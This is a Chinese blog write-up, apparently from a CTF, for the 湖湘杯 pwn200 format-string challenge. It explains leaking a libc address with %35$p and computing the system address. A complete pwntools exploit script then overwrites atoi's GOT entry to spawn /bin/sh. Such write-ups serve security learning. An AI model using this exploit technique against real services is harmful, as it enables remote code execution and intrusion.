格式化字符串

2017-12-19  本文已影响0人  2mpossible

格式化字符串漏洞网上讲的也很多,这里就不对漏洞进行解释了,直接讲怎么做题,以湖湘杯的pwn200为例子:

拿到题目先checksec,看开了什么保护

可以看到题目只开了Canary和栈不可执行,然后运行题目看看是什么效果

然后拖进ida里面分析

可以看到这里有个格式化字符串漏洞,那么我们下面就来利用它,首先用命令

objdump -d -j .plt pwne

可以看看我们可以利用的函数有什么,然后题目给了libc库,大致思路就是要从libc中找system函数,通过printf打印__libc_start_main函数这个地址,然后根据偏移计算libc的基地址,然后计算出system的实际地址,最后用fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})把atio的地址覆盖为system的地址,就可以getshell了

0x1算出所输入格式化字符串相对于栈上的偏移量

0x2 通过泄漏的__libc_start_main的地址可以获得正确的libc库文件从而确定libc库内地址

从而获取到了__libc_start_main_ret的偏移进而计算基址,获得system地址,

下面是exp

from pwn import *
debug = False
local = True
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    libc = ELF('x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./pwne')
else:
    p = remote('baidu.com',1000)


def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

def exec_fmt(payload):
  p.recvuntil('WANT PLAY[Y/N]\n')
  p.sendline('Y')
  p.recvuntil('GET YOUR NAME:\n')
  p.recvuntil('\n')
  p.sendline(payload)
  info = p.recv().splitlines()[1]
  print "info: "+info
  p.sendline('10')
  return info

autofmt = FmtStr(exec_fmt)
#print autofmt.offset
p.close()


p = process('./pwne')
elf = ELF('./pwne')
atoi_got = elf.got['atoi']
print "atoi_got: ",hex(atoi_got)
system_offset = libc.symbols['system']
print "system_offset: ",hex(system_offset)
libc_start_offset = libc.symbols['__libc_start_main']
print "libc_start_offset: ",hex(libc_start_offset)

payload1 = "%35$p"
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload1)
libc_start_addr = p.recv().splitlines()[1]
print "libc_start_addr: ",libc_start_addr
libc_module = base_addr(libc_start_addr,0x18637)
system_addr = libc_module + system_offset
print "system_addr: ",hex(system_addr)
p.sendline("11")

payload2 = fmtstr_payload(autofmt.offset,{atoi_got:system_addr})
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('GET YOUR NAME:\n\n')
p.sendline(payload2)
p.recv()
p.sendline('/bin/sh')

p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读